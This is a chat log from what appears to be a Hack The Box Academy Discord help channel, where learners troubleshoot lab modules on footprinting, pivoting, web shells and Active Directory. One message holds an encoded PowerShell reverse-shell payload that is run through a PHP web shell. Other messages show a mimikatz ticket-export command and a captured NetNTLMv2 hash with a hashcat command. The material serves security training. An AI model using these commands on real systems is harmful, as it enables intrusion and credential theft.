modules

[valid viper]

I'll remember that.

[ocean night]

To be fair, the introduction to Bash does not actually cover this subject

[cloud urchin]

linux fundies?

[ocean night]

I'll feed that back to the team, see if we can improve that module

The Bash module checked through

[cloud urchin]

wouldn't it fit in linux fundamentals better? it's not limited to just bash

[ocean night]

I don't think Linux Fundamentals will have it in tbh, but am checking

[fathom pendant]

It does not iirc

[ocean night]

Nothing in Linux Fundamentals on it either, yeah

I'll feed back to the team on the Bash module to include a segment on escaping special characters like that

[zealous rune]

i can use snmp set command to launch a script on an ystem runing and snmp agent right?

[fathom pendant]

Usually snmp is just a gateway for other protocols

And it depends on the access level you have

Also you don't run commands on snmp. You just read the logs generally

[zealous rune]

yeah but you can get

and set values

typically as you say you use to just get valueeeeeees like cpu packet count etc.

but in the snmp section of footprinting module i think it asks to run a script

[fathom pendant]

Nope

It asks you to read the output of a script

[zealous rune]

ah

[fathom pendant]

The script itself had already run

Also you'd need to be on the manager, not the agent

[zealous rune]

well the manager would be my machine right? running the snmp get requests

[fathom pendant]

Not really

You're just querying it

You can query with any device

The manager is it's own device

But often: you're not interacting with snmp as a complete foothold

You just query it for more info

[zealous rune]

i know snmp from the context of managing network devices

in order to get information like cpu load interface listings utilisation etc.

[fathom pendant]

The script in question, was run and logged in the MIB

Which is where you're actually getting the info from

[zealous rune]

right so it has an oid in the tree where i can read the output

[fathom pendant]

The tools showcased are only query tools

You can likely research it. But it's far beyond the scope of the course

[zealous rune]

in the end it's a simple grep on the walk

thank you

for the nudges

damn this module is dense!!!

[fathom pendant]

Braa is honestly better

[zealous rune]

that's actually what i used

[fathom pendant]

It outputs much nicer and more succinct

Instead of a wall of text to sift through

[zealous rune]

actually i started with snmp-check

i did a | tee savetofile

[fathom pendant]

¯_(ツ)_/¯

[zealous rune]

and then grep savedfile

snmp-check pretty nice too, it organises everything nicely

[cloud urchin]

you mean you guys don't netcat and manually input characters? weak

[zealous rune]

and it assumes a default community

[zealous rune]

yeah should have been typing it in binary written my own protocol in assembly

[opaque geyser]

Can anyone help me on intro to bash scripting “comparison operators” ?

[wary tendon]

looking for someone who can assist me i am in and can share my screen . i cant find this flag in any directory

[cloud urchin]

you'll have better luck simply stating what module/section/question you're on and letting us know what you've done already than asking to screen share with someone

[wary tendon]

attacking tomcat in attacking common web apps

its the flag last question.i have a webshell but cant seem to find the flag

[cloud urchin]

i don't recall where it is, but as general advice i'd recommend checking the directory you obtain your shell in (obvious), probably a directory or two before that, and then just the root directory for the drive

the tree command can also help

[wanton idol]

hello do u still need help?

[rustic quiver]

Quick question guys, how do you create an aspx file?

[wanton idol]

i literally just got done with that

[wanton idol]

msfvenome

[rustic quiver]

Actually better question, how do you edit the hosts file in etc? Nano isn't working and the module didnt specify a way to actually edit it

[wanton idol]

you can use vim

also in order to edit the /etc/hosts u need to run it with sudo if u havent already

sudo nano /etc/hosts or sudo vim /etc/hosts

just in case you didnt know

[rustic quiver]

Thank you, and yeah I know

[analog pebble]

need help ||executing .ps1 shell after uploading PHP cmd?= shell on the XAMMP target|| - Attacking Common Services - Easy

[fathom pendant]

Input a command after =, i.e. ?cmd=whoami

[analog pebble]

yes, i know, but i'm trying to upload a .ps1 shell and calling it through the php shell, my commands are : ||powershell.exe%20%5BIO.File%5D%3A%3AWriteAllBytes%28%22C%3A%5CUsers%5CPublic%5Ct.ps1%22%2C%20%5BConvert%5D%3A%3AFromBase64String%28%22cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxMC4xMC4xNi4yMCcsOTAwMSk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwlezB9O3doaWxlKCgkaSA9ICRzdHJlYW0uUmVhZCgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpKSAtbmUgMCl7OyRkYXRhID0gKE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LkFTQ0lJRW5jb2RpbmcpLkdldFN0cmluZygkYnl0ZXMsMCwgJGkpOyRzZW5kYmFjayA9IChpZXggJGRhdGEgMj4mMSB8IE91dC1TdHJpbmcgKTskc2VuZGJhY2syID0gJHNlbmRiYWNrICsgJ1BTICcgKyAocHdkKS5QYXRoICsgJz4gJzskc2VuZGJ5dGUgPSAoW3RleHQuZW5jb2RpbmddOjpBU0NJSSkuR2V0Qnl0ZXMoJHNlbmRiYWNrMik7JHN0cmVhbS5Xcml0ZSgkc2VuZGJ5dGUsMCwkc2VuZGJ5dGUuTGVuZ3RoKTskc3RyZWFtLkZsdXNoKCl9OyRjbGllbnQuQ2xvc2UoKSIK%22%29%29||, and to call it i then run ||powershell.exe%20-nop%20-c%20%22IEX%20(New-Object%20Net.WebClient).DownloadString('file:///C:/Users/Public/t.ps1')%22||

[fathom pendant]

You don't need to get a reverse shell

A webshell is enough

[analog pebble]

👍 thx, should what i was trying to do be possible though? im struggling to see how its not working

[fathom pendant]

I'm not sure tbh. It could be getting stripped heavily

But the intended ways are ||load_file()|| and webshell

Yes, this one has 2 ways to get it

[analog pebble]

i never saw that function, what service is that in?

[fathom pendant]

Reread the sql section, it's right there

[analog pebble]

thx, finally finished

[woven copper]

hello there, can I DM you ?

[void kayak]

👋 hello everyone. I'm trying to understand something with meterpreter and mimikatz. I'm doing the kerberos TGT module and I don't know where the files are saved when I do: ```(Meterpreter 3)(C:\Users\Administrator) > kiwi_cmd sekurlsa::tickets /export

The output says: ```MKCEAAAAAwIBAqGEAAAAITCEAAAAGxsGa3JidGd0GxFJTkxBTkVGUkVJR0hULkhU
Qg==
====================

           * Saved to file [0;3e7]-2-1-40e10000-MS01$@krbtgt-INLANEFREIGHT.HTB.kirbi !
``` but there aren't any files named like this on the cwd as well as my cwd. ```kiwi_cmd cd``` shows the right directory I'm in and I'm administrator on windows. I googled a lot but unless I copy mimikatz onto the machine or manually copy the ticket, then I'm not sure how to make the in memory mimikatz work to export tickets automatically. I did search the entire FS locally with powershell.

Note that I can write to the dir, because I activated the mimikatz logs and it works fine. It's just the export that does not work for some reason
Note2: if I upload mimikatz, then it the export works no problem. I don't know if there is a native meterpreter way

[upper ruin]

Can't you speicfy export path?

/export /dir:C:\SomeLocation

@void kayak

[void kayak]

nope 😦 just tried and did not work. I also checked the manual and it does not seem to have any dir option. Also whatever I enter /e /adsfasf seem to also export. I'm thinking that's a bug

[upper ruin]

it likely means that the command defaults to saving in a specific directory

[upper ruin]

Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -Filter "*.kirbi"

You can try using findstr as well.

[void kayak]

yep, no luck here either

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c#L659C13-L659C34 Im trying to see in the source code, but i'm not sure how the in-memory meterpreter behaves as opposed to a dedicated mimikatz.exe process launched by powershell

I tried to migrate to multiple processes, but no luck as well

[upper ruin]

Yeah, it's an issue.

I just read a forum. It MUST export the tikcets in the current directory you are in.

Try launching mimikatz from powershell in some other directory like C -> transfer it manually.

[void kayak]

yep that works perfectly if I run mimikatz manually, just not from meterpreter. I just tried a bunch of different things and it must be due to the fact that the extension is running in memory from another process.

thxs for the time looking into it, appreciate it a lot.

[upper ruin]

All good.

[upper ruin]

Now that I think about it.

If you run meterpreter in you /home/username/ directory

And you run mimi from the meterpreter

Wouldn't that save the tickets back to ur home directory

I wish it worked like that , 99% sure it doesn't tho.

Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.
AD Skill Assessment 2.

I can't seem to get interactive shell on the SQL01. I found the password from the file in the previous question, I suppose it's linked the the mssqlsvc account.

I used sqsh, but it doesn't work. I tried PowerUpSQL but it has no connection.
Any ideas?

mssqlclient.py gives out untrusted domain with windows-auth.

Without it, it just outputs some error in the impacket.

[rustic quiver]

I’m on the shells and payloads module and I’m trying to connect to the inlanefreight.local website but it refuses to connect what am I doing wrong?

[sleek moss]

why is htb lab not spawing

[ocean night]

The machines will spawn, they just take a minute or two to provision and be configured, patience 🙂

[void kayak]

nope it's not on my system unfortunately, I looked there too. The command I'm running is from kiwi_cmd, not the kiwi ruby commands, I think the kiwi_cmd is passed through the little c module within meterpreter which should be executed in the context of the windows process. I'm thinking that the meterpreter kiwi wrapper will interface between the underlying kiwi_cmd command and the local reverse tcp session

[upper ruin]

OOf

[ocean night]

@sleek moss refreshing the page won't maks any difference either I'm afraid. Your browser will receive a notification once the machine is available. Hopefully by now you have your target @sleek moss ?

[sleek moss]

i do danke

[ocean night]

Nice, glad to hear it

[sleek moss]

forend::INLANEFREIGHT:846f684f9cdac33d:EC13D46F95D699BD27C75C66A166722C:0101000000000000009247B79796DA01112AEF3E5A2CE12A00000000020008004F0036005700410001001E00570049004E002D0055004F004B004D005900310043004F0059004D00440004003400570049004E002D0055004F004B004D005900310043004F0059004D0044002E004F003600570041002E004C004F00430041004C00030014004F003600570041002E004C004F00430041004C00050014004F003600570041002E004C004F00430041004C0007000800009247B79796DA0106000400020000000800300030000000000000000000000000300000D00D495199B80E75934F78E4F7980E160A3B4FA44505B5AE9D36070224C0EA450A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0035002E003200320035000000000000000000
i used hashcat -m 5600 and it didnt crack even with rockyou wordlsit which was said on module it said it exhausted list

└─$ hashcat -m 5600 -a 0 crack /usr/share/wordlists/rockyou.txt

[glacial pawn]

Hey guys, I am curious about an issue I ran into while in the Intro To Assembly Module, I'm at a part that concerns pwntools, I am trying to use gdb to debug an elf file that was made using the pwntools function ELF.from_bytes(unhex(<shellcode>)).save(<filename>). The issue being, gdb debug the file for some reason. Was wondering if anyone else came across this issue.

[vital seal]

Module: Active Directory Trust Attacks
Section: Unconstrained Delegation
Link: https://academy.hackthebox.com/module/253/section/2803
Question: Abuse Unconstrained Delegation to get the TGT of DC01$ and submit the flag located at \DC01\UCD_flag\flag.txt.

I have ran dcsync attack against krbtgt account. Obtained the hash and created the golden ticket. I am unable to access DC01. I keep getting permission denied.

Please help. Thank You.

[shut quest]

You're going to need to say which module / section, that username is used a lot

Use windows auth

wrong account

[mint trout]

gotcha, thanks.. i always forget to try reusing 🙂

[shut quest]

now you're making me look like a crazy person

[mint trout]

hahaha dont want to spoiler 😄

now i have it but cant copy paste from novnc 😢

[mint trout]

Is it faster to brute force pop instead of IMAP or roughly the same?

[fathom pendant]

Roughly the same

As bruteforcing is just attempting to login

Though usually you should have a username to attempt with

[mint trout]

theres only ssh/pop/imap on this, and i cant user enum any of them i think

its 8.2p1 so not vuln to ssh-user-enum (i believe)

i figured the only thing i can do is brute it
no emails or anything from nc / openssl banner grabbing

[fathom pendant]

Never brute ssh unless forced

[mint trout]

im bruting imap

[fathom pendant]

What section/module?

[mint trout]

hard footprinting

[fathom pendant]

Oh. There's definitely more open iirc

[mint trout]

ill do another scan 👍

[fathom pendant]

Try scanning udp

[mint trout]

ah shit yeah i ignore that on htb since it takes so long.. can probably guess which port is open now you said that

lol was right

[fathom pendant]

Also read the brief for it: it might enlighten you as to what to look for lol

[mint trout]

mx / management server / backup server mehhhh not sure. tbh i have very little ||snmp|| experience in production, it simply isnt used at the places ive worked

so it wouldnt be something i check. but im definitely gonna put it up there now

[fathom pendant]

Keywords

[mint trout]

do management servers usually handle ||snmp||?

[fathom pendant]

Yes

[mint trout]

what is a 'management server' lol

[fathom pendant]

simple network management protocol

[fathom pendant]

Basically like update servers

I.e. a staged server

[mint trout]

ah right, yeah the only thing i know that has snmp are UPS units

ill have to look up some examples

[shut quest]

great for monitoring when you can't shove some kind of agent on the device

[mint trout]

i assume u just whip it in promtail and feed it to prometheus or logstash?

[mint trout]

also im in 😎

[fathom pendant]

It's honestly fairly straightforward

Like 1000% easier than the easy lab

[mint trout]

honestly easy took me no time at all

idk i did the relevant modules this week so its all so fresh i kinda knew whats up 😄

[fathom pendant]

Nah. It's not even that

Common consensus is that the lab difficulty is out of order

[mint trout]

they all seem quite easy though, maybe med on the hard one because it requires more enumeration than usual but its basically ||'find open port -> it has password -> use it on the other port -> you are in'||

which i guess is how it works in real life 🤣

[fathom pendant]

I mean yeah, if there's low security posture

[analog pebble]

Attacking common services - hard
hint states that there should be ||2 users capable of impersonating, yet theres only 1 session?||

im questioning if its the other ||impersonation|| route but i just wanted to make sure before i try b/c the rdp is insanely slow

[shut quest]

your current way is wrong

it also doens't require rdp 😉

[analog pebble]

ty... rdp is taking 5+ seconds to register input..

[gilded ice]

Is someone available to help with the footprinting imap/pop3s module?

[mint trout]

i literally just finished it what you need 😄

[gilded ice]

Mind if i dm?

[mint trout]

np

[analog pebble]

i can also help 🙂

[analog pebble]

curious to know if i completed attacking common services HARD properly, my route after obtaining ||fiona|| credentials was ||mssql, impersonate as john, execute the OPENROWSET to view flag.txt file over the linked sql service.|| im not too sure if i did it properly b/c i never used ||julio|| or ||patric||'s credentials nor did i have to RDP

[cedar yew]

hello guys,
pivot module - Remote/Reverse Port Forwarding with SSH
i completed this secctionn but little understand maybe you can tell me 🙂

[upper ruin]

Wouldn't it be worrying if that's what she said to me?

[shut quest]

What about it did you find confusing?

[cedar yew]

yes little

I don't understand why I should get a reverse connection on a machine I have access to, I already know the information about the machine.

[gilded ice]

did you have remote command execution before?

[cedar yew]

no

[gilded ice]

well now you do

having rce on a machine makes what you can do on it almost limitless

you can obtain the id.rsa key to ssh in with no password, set up users, privilege escelation to make yourself root, access almost anything

you can also obtain the flags hidden on the computer for ctf's and the modules

[shut quest]

The section shows you how you can create a route back to you. If you wanted to capture an escalated reverse shell, you can catch that on your host instead of the foothold. You're only limited by your imagination after that. Forward SMB requests, quickly transfer a file further into the network, etc.

[summer pond]

what is the problem?

[sterile epoch]

Hi I am stuck in attackinng thick applications in attacking common applications.
I am facing compilation error in fatty

can someone help me debug it please

been stuck at it for weeks

[shut quest]

The password is the problem. Put the password in single quotes 'HTB_@cademy...'

[shut quest]

Have you watched the ippsec video on fatty?

[sterile epoch]

yea but I cannot compile it even after following the steps word for word

when i try ippsec's method with creating a project with the fatty jar as a reference library I get a bunch of syntax errors even after using java 1.8

[arctic cobalt]

I'm confused between ejpt, eWPTX and eWPT.
Which course should I take I have no professional experience which one will b batter for job??
Like I think (correct me if I'm wrong) ejpt is a bit easy so is it okay to jump for eWPTX or eWPTX?

[sterile epoch]

I try to use socat on windows but I get an

.\socat.exe TCP-LISTEN:8000,fork TCP:127.0.0.1:1337
2024/04/25 02:48:36 socat[16964] E connect(5, AF=2 127.0.0.1:1337, 16): Connection refused

[acoustic owl]

If you want to bypass the HR filter, then you probably need OSCP

If it's about gaining good knowledge, then CPTS is probably right for you

[sterile epoch]

I double checked resource monitor and there was no service blocking 1337 or 8000

[arctic cobalt]

Ik oscp would be great but it's too costly

[sterile epoch]

any idea what should I do?

[acoustic owl]

Take a look at the job advertisements. Then you will see which certificates you need to bring

[shut quest]

If I had to venture a guess, it seems like you're skipping a step or two

[sterile epoch]

I tried following the module
decompile the jar file using jdgui > remove the rsa and 2.sf files > remove the hashes from MANIFEST.MF > change the port from 8000 to 1337> compile using jar -cmf ./META-INF/MANIFEST.MF ../new-fatty.jar *

I run the jar with java -jar new-fatty.jar get the error cannot find file htb.....Starter

I double checked the MANIFEST file there was no wrong path

here is my modified jar

[shut quest]

I'm sure sure why you are trying to run socat

[sterile epoch]

the powershell is on admin

[gilded ice]

if you complete cpts then the oscp will be easy. cpts is harder and more advanced so you would only have to take the oscp once

[sterile epoch]

I want to forward my 8000 port to 1337 to try ippsec's method

I set the hosts file to 127.0.0.1 fatty.server.htb

[arctic cobalt]

Ik I was about to take cpts but it's costly too that's why I'm going with ine certs

[sterile epoch]

any advice how to approach?

[shut quest]

I just went through the steps to where it shows you the login successful part (yes i didn't take notes, sue me) on the VM HTB provides for the section

only steps you need to take are to extract the files, edit the port, manifest.mf, and delete the two files and jar it back up. As explained in the section the make sure your manifest.mf has a new line.

[sterile epoch]

yes I did follow the steps exactly

[sterile epoch]

here

[shut quest]

and make sure you have a new line in your manifest.mf

[sterile epoch]

I had 2 new lines

let me make it to one and then try

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

[shut quest]

I did what I explained on the host itself as a means to reduce any complexities, maybe you should as well.

[sterile epoch]

yes I tried to do it on the foothold and pwnbox too and got the same results

[sterile epoch]

this powershell is from the foothold

[shut quest]

Mind if I DM you?

[sterile epoch]

sure

[timber hatch]

WINDOWS PRIVILEGE ESCALATION this modul is a pain...so much lagging...

[ebon minnow]

fucking incredible module

[finite terrace]

nice

[timber hatch]

anybody knows why this doesnt work?

[jagged zenith]

Who is solved skill ass injection attacks

[fathom pendant]

Usually you would import a .ps1 and invoke it on some way

It also helps to say what module you're working on

And what section

[old sandal]

Hello guys
i added the ip in the sudo nano /etc/hosts but i don't know why the on the firefox is not opening the ip address even i connected to the vpn

[fathom pendant]

Because you need to add the domain such as inlanefreight.htb as well

ip domain

[fathom pendant]

If you're doing a box, then it autoredirects to boxname.htb

And if it's not in your hosts file, it doesn't resolve

[fleet birch]

I need a help to know the name of the first section of Intro to Academy
I've tried many times with incorrect answer

[remote latch]

i personally use this command(its quite long but i have it saved and just copy paste it)

echo "ip_adress domain" | sudo tee -a /etc/hosts

[fathom pendant]

Figure out what a section is, they do tell you it in the reading

Modules are broken down into sections, that is your only hint

[fleet birch]

I read everything carefully but every answer I put in come as incorrect

[fathom pendant]

Then you're not understanding what a section is

Each section is a page in the module

Look at the Table of Contents

[untold lion]

HI

[untold lion]

HI

[cedar yew]

hello guys,

i dont understand this question
pivot module - Meterpreter Tunneling & Port Forwarding

last question
Which of the routes that AutoRoute adds allows 172.16.5.19 to be reachable from the attack host? (Format: x.x.x.x/x.x.x.x)

[long flint]

has anyone done the skill assessment for intro to whitebox pentesting?

[glad heart]

Hi did you found the awser?

[silent yacht]

yoo everyone

[acoustic owl]

Yes, currently 88 people have completed this module

[long flint]

hmm know where to go for tips? lol

[old sandal]

not working

this working on the thm

[silent yacht]

anyone using vencord?

[fathom pendant]

Well this isn't thm

[silent yacht]

Joe

[old sandal]

should i tell my steps what i am doing

[fathom pendant]

What module are you doing, and what's your /etc/hosts. If it's a box on app.hackthebox.com then move this to #boxes [read #welcome to access it]

[old sandal]

first i am connecting to the vpn in the machines section

i am doing builder machine

[fathom pendant]

Yeah, wrong channel my dude. Read and follow #welcome

[old sandal]

on the hack the box

[fathom pendant]

And you'll have access to #boxes

This channel is for help with academy modules https://academy.hackthebox.com

@fleet birch I don't do random dms

[fleet birch]

sorry

[cedar yew]

@fathom pendant sir help -_-

[fathom pendant]

https://tenor.com/view/please-stop-ugh-gif-18026759

Subnet/mask

That's what it's asking for

[dim wolf]

examine the traffic to and from IP addresses. look for any patterns or telltale signs of C2 activity. you can follow the trail and arrive at the points of origin

[cedar yew]

😄 thx finished

[fathom pendant]

Don't @ me again. Always read the section again if you get stuck

I believe the example and everything even points out what it wants

[cedar yew]

That's right, I thought he wanted two different ip.

okey

[fathom pendant]

The answer key gives you the format it wants. And looking at the output of autoroute would have made it clearer

adding route to subnet/netmask

[long flint]

Anyone able to assist on the skill assessment for intro to whitebox pentesting?

[acoustic owl]

Just ask your question here

[long flint]

so i'm looking through the code, and i've come down to the conclusion that the vulnerable function must be the ||ping api route||. It's the only route that seems to do more conditional checks and also has ||eval()|| inside. i've been able to successfully send a payload that will ping an IP of my choosing, but seems I'm unable to breakout. The execFile() tells me it can only do a single command at a time, so adding code behind my ip will ||ping the ip|| but everything else fails. I thought maybe I could set the uip and add javascript code injection there, but everything i've tried with that fails too

cant tell if im in a rabbithole or not lol

[acoustic owl]

You are on the right track.
Make sure that your payload does not break either the ||JSON|| or the ||Javascript||

[ebon minnow]

are vm's bugging? cant spawn the machine for 'attacking common services-smb'

[cloud urchin]

Is there a way for us to look that up or is it a mod thing?

[acoustic owl]

Anyone who has completed the module can see how often the badge has been issued

[cloud urchin]

Where?

[acoustic owl]

https://academy.hackthebox.com/my-badges

[twilit epoch]

Can I check if anyone is facing issues with spawning target?

[wary tendon]

I have been trying to spawn target not working either

[unreal granite]

Jopp same here

[twilit epoch]

Does anyone has any tips?

[cloud urchin]

I don't see it, that only shows my badges and doesn't show info about how many people have them

[snow ridge]

Open the shareable link

[cloud urchin]

and then?

oh i see

you have to share the link, then go to the shared link

thanks. kinda weird it doesn't just show it when you click on the icon or something

[cyan gulch]

Anyone know why HTB main website is super, super slow?

On HTBLabs

Is it because of maintenance? I don't know exactly what time it is meant to happen, like start/finish? I'm unsure

[unreal granite]

yes its super slow for me too no targets are working for me

[twilit epoch]

I am also not able to spawn any targets to work on the HTB Labs

[cyan gulch]

I relate; same :L

I guess I'll go to PortSwigger or THM for a little

Has to be the maintenance it was talking about

[unreal granite]

I have a question for all of you out there is there someone sitting in SWE and want to have a study group or something like that ??? iam sitting with the pentesterpath at the moment 65 % through so if someone wants to study together hit me up !!! 🙂

[cyan gulch]

I would bro but I'm on CBBH path haha; I'm a noob

[zealous rune]

also struggling to spawn a target in the Footprinting module

[unreal granite]

well iam a noob too 🙂

[thick remnant]

Hello guys, i'm trying to do a module, but when i'm trying to spawn the target cible, i have "Target is spwning" but nothing happen

[unreal granite]

nothing is working at the moment

[thick remnant]

and it seems i can't find a way to contact the support

oh

[unreal granite]

i think there is a maintanmence

or something

[wanton estuary]

Hello does anyone know if you can spawn a lab again after completing it?

[cyan gulch]

I'll add you fam

I got no idea; is there a reset button for it?

[cloud urchin]

yes you can

[wanton estuary]

Thanks! I thought you couldn't as my machine won't spawn but seems like it's happening to other people too

[cloud urchin]

just now i started a machine and it worked, maybe it's back up

[coral flare]

/module/19/section/102 The target cannot be spawned. Is this known?

Is see, well +1 for this issue.

[pure jetty]

hi guys please i need help trying to coonect to ssh root using id_rsa but i got error in libcrypto how do i solve this

[zealous rune]

is the ssh server configured to allow root login?

normally sshd has norootlogin set

[limber river]

there's a lot of things , first is the key of the root user ? did you give the right permission to the key ? is the root user allowed to login ?

[zealous rune]

maybe provide the command u use and the error u get

also run your ssh command with -vvv for max info

[pure jetty]

yes it loging but asking to enter password and yes i gave it chmod 600

[limber river]

asking for password that means the key is not correct

[pure jetty]

sudo ssh root@ip -p xxxx -i id_rsa

[limber river]

or make sure the permission are set

[limber river]

which module ?

[zealous rune]

-p is for port

[pure jetty]

privilege escalation getting started module

[zealous rune]

command looks right

what is the error?

and run with -vvv

it will give u more info

[limber river]

idr using ssh keys in this

[pure jetty]

Load Key "id_rsa": error in libcrypto then it show to enter root password

[zealous rune]

ok so it isn't finding the id_rsa key file or the key file is not correct

do you have a file on your machine called id_rsa

[pure jetty]

yes i copy it and use nano to create

[zealous rune]

also it wouldd have to be on the server in the users .ssh/authorized_keys file

use nano to create what?

[pure jetty]

id_rsa

and i paste the hash there and give it 600 permission

[zealous rune]

but that needs to be a key file

let's step back

are you running a linux box?

[limber river]

wait wait , tell us what have you done from the first

[pure jetty]

yes am connected to vpn on my linux

[zealous rune]

try to run an ssh server on your machinne and login to the ssh server

[limber river]

no no you will make him lost

[dim wolf]

you can ssh locally and provide the path to the id_rsa

or you can base64 encode the key and decode it on your box

[limber river]

this id_rsa you generate it right ?

[zealous rune]

he should do it on his machine. This will help him understand how an ssh key login works

[dim wolf]

locally or remotely, it's still logging in with a key

[pure jetty]

i login user1 cd to user2 got the flag, then cat root/.ssh/id_rsa

[zealous rune]

yes but if he does it on his machine

he will understand that .ss/authorized_keys needs to have the public key of user

[limber river]

and you find the id_rsa

[zealous rune]

and that sshkeygen is need to gen the keys

[limber river]

right ?

[zealous rune]

etc. and thus what he's trying to do on the remote box will make more sense

[dim wolf]

iirc sshkeygen is out of scope for that module

it just sounds like they had an issue with copying the id_rsa

[limber river]

yess exactly

[pure jetty]

you guys are awesome thank you all i will keep trying to figure it out

[limber river]

maybe check the md5sum of the id_rsa

[pure jetty]

yes i will try all you guys said got all night

[dim wolf]

if you want to ensure that you get no errors, you can cat the contents of the key and base64 encode it

then copy the base64 string and decode it on your own box and output it to a file

[pure jetty]

alright doing that

[wary magnet]

Hi guys! I would like to askf for help on the Brute Forcing Passwords on the Broken Auth module.

Using rockyou-50.txt as password wordlist and htbuser as the username, find the policy and filter out strings that don't respect it. What is the valid password for the htbuser account?

||I have used this to filter out rockyou-50.txt: grep '[[:upper:]]' rockyou-50.txt | grep '[[:lower:]]' | grep '[[:digit:]]' |grep -E '^.{3,}$'||

||I was only able to identify 5 passwords based on the above filter, and non of them worked.||

I little bit of nudge/hint is much appreciated.

[cloud urchin]

Does anyone know why I would get this error

At C:\Users\user\PowerView.ps1:20882 char:43
+ Set-Alias Get-NetOU Get-DomainOU#requires -version 2
+                                           ~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [Set-Alias], ParameterBindingException
    + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Commands.SetAliasCommand```
    
When trying to Import-Module PowerView.ps1, but then running the command again imports it and makes it work? Why does loading it twice work and loading it once doesn't?

[arctic cobalt]

Hey I was thinking to go for cbbh cert I have 2 questions:- 1. How long is the duration like how long I the time period under which we have to prepare
2. Everything's going to be in the text format or will it include videos too??

[next bronze]

look at the line causing the problem ig

[cloud urchin]

Yeah but then it just works without modification again?

[long flint]

finally got the command injection.. its weird because i've tried this syntax over a dozen times i guess...

[hallow remnant]

MODULE: Whitebox Attacks
SECTION: Client-side Prototype Pollution

I'm really struggling with manifesting the attack chain in the exercise. After examining the /admin.php page contents, I thought that I was meant to forcefully have the victim promote my account, but my payload(s) haven't worked. Am I in the right ballpark?

[acoustic owl]

Yes, you are on the right track.
||Search for client-side-prototype-pollution on Github.||

[vital seal]

.

[arctic sentinel]

I am stuck in the "unconditional branching" section of the Intro to Assembly language... the questions is: Try to jump to "func" before "loop loop". What is the hex value of "rbx" at the end?

I tried many things but all answers I get are wrong... for me the loop will never happen since I need to jump...

[tender jolt]

Hi guys, I have an issue that sometimes occurs when I restart my instance. After restarting, it stops working with this error: 'Error: Something went wrong while generating your VPN Key. If this persists, please contact support.' Maybe this is a well-known error. What should I do? ( ping me )

[cloud urchin]

have you tried contacting support? lol

[tough tiger]

i think there is a problem on htb end, in #cpts someone else is having trouble with vpn connection, and i too have the same problem

[glacial pawn]

can I dm you?

[arctic sentinel]

sure!

[tender jolt]

okay ty

[tawdry vapor]

anyone in trouble to spawn targets??

[tender jolt]

#modules message

it's a general issue from htb

[tough tiger]

Yeah can't spawn target nor connect to the vpn, seems to be on htb end, people having the same problem in #cpts

[tawdry vapor]

now my target spawned, i connected in vpn, but i can't access the target via xfreerdp, lol

[gilded patrol]

the same for me

[dapper patrol]

Im doing the shells and paylaods and is on the last question on infiltraiting windows, can someone help me?

[fringe urchin]

Where you stuck?

[dapper patrol]

I cant get a shell in metasploit and ive done it like the module has shown

[shut quest]

Be sure that you're setting the rhosts and lhost correctly

[fringe urchin]

Well hard to help with only that. Usually just retype or restart the machine. If yoi got the correct metasploit exploit you just need to change the LHOST and RHOSTS.
Its smart to type options at rhe end again to see if you misspelled RHOSTS example

[dapper patrol]

Thanks ill try again

[kindred quarry]

Hi, could anyone please check if the Target spawns in this module? https://academy.hackthebox.com/module/134/section/1204

Other modules seems works fine, except this one.

That's the reply i've got from the server:
{"success":1,"ready":0,"ip":null,"life_remaining":119,"remaining_life_in_seconds":7193}

[devout torrent]

Anybody els having problems spawning targets ?

[runic depot]

got the same problem while on my cdsa exam

[slim meteor]

Same here. Seems to be a known issue: https://status.hackthebox.com/incidents/f2c5871f-f546-461d-aa82-9d3bc75e752a

[graceful mortar]

[gray chasm]

Someone is having problems with Target is spawning...?

[tawdry vapor]

yeah

[gray chasm]

It keeps loading and does not start the labs. 😦

[tawdry vapor]

i think everyone

[gray chasm]

aa okey

[oak pollen]

it's EU issue it seems, I changed my vpn and pwnbox to US East and it works now

[tawdry vapor]

i can connect im my vpn, but i can't spawn target

[gray chasm]

like me, what I can't do is spawn the lab.

[pastel basalt]

eu doesn’t work. us west doesn’t work either.

[gray chasm]

Does not start labs

😦

now it has worked xd

[tawdry vapor]

lol

[tawdry vapor]

here too

[pastel basalt]

yes

[gray chasm]

But does it work with the EU VPN?

[oak pollen]

it only worked for me with the US ones, but it did work briefly with the EU a couple of hours ago

[real shore]

I'm still having issues with EU

[fathom pendant]

Try changing to US

[real shore]

Yep, that works
Thanks ^^

[fathom pendant]

.

[polar blade]

I can't start any targets. Someone else with same problems?

[rain agate]

Yep same problem here

[fathom pendant]

Sometimes it can take a few minutes, but I'd you're on EU, switch to US

https://status.hackthebox.com

[cloud urchin]

if you're in EU it's past your bedtime

[graceful latch]

Had same issues, switch to US

[fathom pendant]

EU servers are currently having problems

[fringe urchin]

[polar blade]

how? I can only switch VPN to us but targets?

[fathom pendant]

Targets will spawn on the US vpn

[polar blade]

i see

[rain agate]

Strange because i try to spawn them and not working

[fathom pendant]

Vpn dictates the spawn point for targets. You'll obviously need to dl a new vpn pack to connect on your own vm

[rain agate]

Yep i switched to US and it worked

[polar blade]

which one? I have tried 2 but didn't worked. now I'm trying 3

nvm

3 worked

[rain agate]

Yes i switched to 3 also

[wind plinth]

Is it just me or is the Academy glitching
course progress green checks are gone, and cube graphics
and I get errors when I click mark and complete

[rustic harness]

Anyone within the CSDA path that can help with question 1 in "Snort Rule Development". Looking for the content word that would trigger an alert based on a log4j pcap file. I've basically pinpointed it down to a couple lines but I've no idea what the keyword would even look like as they all look similar.

[fathom pendant]

Sometimes refreshing helps

[remote latch]

same

something got fucked up

[remote latch]

nah, its me too

[fathom pendant]

